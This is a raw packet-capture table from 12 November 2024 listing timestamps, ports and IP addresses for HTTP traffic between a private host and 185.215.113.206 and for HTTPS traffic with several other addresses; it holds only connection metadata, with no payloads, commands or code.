Nov 12, 2024 17:07:52.012485027 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012495995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012509108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012525082 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.012542009 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.012605906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012641907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012648106 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.012654066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012679100 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.012691975 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.012836933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012847900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012860060 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012871027 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012882948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012886047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.012893915 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012907982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012913942 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.012918949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.012933969 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.012964010 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.013113022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013153076 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.013170004 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013183117 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013206005 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.013219118 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.013310909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013324022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013334990 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013345957 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013359070 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.013381004 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.013622046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013636112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013647079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013696909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013704062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.013704062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.013710022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013724089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013746977 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.013766050 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.013796091 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013808012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013818979 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013832092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.013837099 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.013869047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.032495975 CET	443	49917	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:52.032814980 CET	443	49917	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:52.032877922 CET	49917	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:52.046886921 CET	49917	443	192.168.2.6	13.107.246.57
Nov 12, 2024 17:07:52.046909094 CET	443	49917	13.107.246.57	192.168.2.6
Nov 12, 2024 17:07:52.048161983 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.048202038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.048218966 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.048228025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.048249006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.048259974 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.048260927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.048271894 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.048293114 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.048310995 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.048683882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.048696041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.048762083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.048762083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.048768997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.048782110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.048793077 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.048815012 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.048846960 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.058901072 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.059158087 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.059217930 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.064469099 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.064486980 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.064500093 CET	49922	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.064507008 CET	443	49922	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.082150936 CET	49929	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.082200050 CET	443	49929	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.082288980 CET	49929	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.082467079 CET	49929	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.082478046 CET	443	49929	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.109550953 CET	443	49925	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:52.110452890 CET	49925	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:52.110467911 CET	443	49925	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:52.110826969 CET	443	49925	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:52.111557961 CET	49925	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:52.111624002 CET	443	49925	23.221.22.213	192.168.2.6
Nov 12, 2024 17:07:52.121181965 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.121208906 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.121248007 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.121262074 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.121298075 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.122349024 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.122370005 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.122381926 CET	49923	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.122386932 CET	443	49923	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.126123905 CET	49930	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.126161098 CET	443	49930	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.126213074 CET	49930	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.126553059 CET	49930	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.126569033 CET	443	49930	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.131747961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.131817102 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.131828070 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.131872892 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.131880999 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.131895065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.131905079 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.131908894 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.131932020 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.131958961 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132023096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132062912 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132086039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132100105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132127047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132139921 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132164001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132177114 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132200956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132214069 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132301092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132345915 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132369995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132381916 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132409096 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132417917 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132483006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132494926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132507086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132519007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132523060 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132538080 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132563114 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132616997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132699966 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132788897 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132831097 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132857084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132869959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132893085 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132920980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.132987976 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.132999897 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133023024 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.133044958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.133146048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133158922 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133193016 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.133260965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133271933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133284092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133296013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133307934 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133316994 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.133328915 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.133347988 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.133416891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133430004 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133440971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133469105 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.133492947 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.133651018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133713007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133723974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.133738041 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.133753061 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.133763075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.167609930 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.167649031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.167663097 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.167670012 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.167691946 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.167706966 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.167733908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.167747974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.167759895 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.167778015 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.167814016 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.168056011 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.168118000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.168126106 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.168138981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.168164015 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.168184996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.168189049 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.168294907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.168307066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.168339968 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.199470997 CET	49925	443	192.168.2.6	23.221.22.213
Nov 12, 2024 17:07:52.202482939 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.203001976 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.203017950 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.203464031 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.203469038 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.251254082 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251298904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251322985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251348019 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251369953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251379967 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251394033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251419067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251441956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251554966 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251565933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251576900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251590014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251590967 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251600981 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251605034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251617908 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251641035 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251652956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251669884 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251704931 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251732111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251769066 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251926899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.251969099 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.251998901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252010107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252037048 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252051115 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252068996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252104044 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252155066 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252166986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252177954 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252190113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252191067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252207994 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252229929 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252325058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252362013 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252386093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252425909 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252437115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252450943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252487898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252773046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252784967 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252794981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252806902 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252819061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252827883 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252830029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.252840042 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252861023 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.252882957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.253142118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.253153086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.253164053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.253200054 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.253205061 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.253216982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.253222942 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.253254890 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.253268003 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.253329992 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.253341913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.253366947 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.253380060 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.253563881 CET	443	49919	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:52.253621101 CET	49919	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:52.256597996 CET	49919	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:52.256607056 CET	443	49919	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:52.256882906 CET	443	49919	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:52.259059906 CET	49919	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:52.259119034 CET	49919	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:52.259129047 CET	443	49919	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:52.259519100 CET	49919	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:52.287215948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.287255049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.287269115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.287296057 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.287338018 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.287384987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.287396908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.287435055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.287496090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.287730932 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.287990093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.288003922 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.288014889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.288028002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.288038969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.288043976 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.288049936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.288062096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.288075924 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.288100004 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.307333946 CET	443	49919	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:52.334884882 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.334954977 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.335190058 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.335719109 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.335740089 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.335752964 CET	49924	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.335761070 CET	443	49924	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.339879036 CET	49931	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.339926958 CET	443	49931	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.339991093 CET	49931	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.340614080 CET	49931	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:52.340630054 CET	443	49931	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:52.371129990 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371153116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371166945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371203899 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.371247053 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.371294022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371306896 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371325970 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371331930 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.371340990 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.371341944 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371364117 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.371372938 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.371417046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371434927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371475935 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.371603966 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371615887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371627092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371639013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371649981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371654034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.371661901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371682882 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.371709108 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:52.371833086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371896029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371908903 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:52.371937990 CET	49859	80	192.168.2.6	185.215.113.206
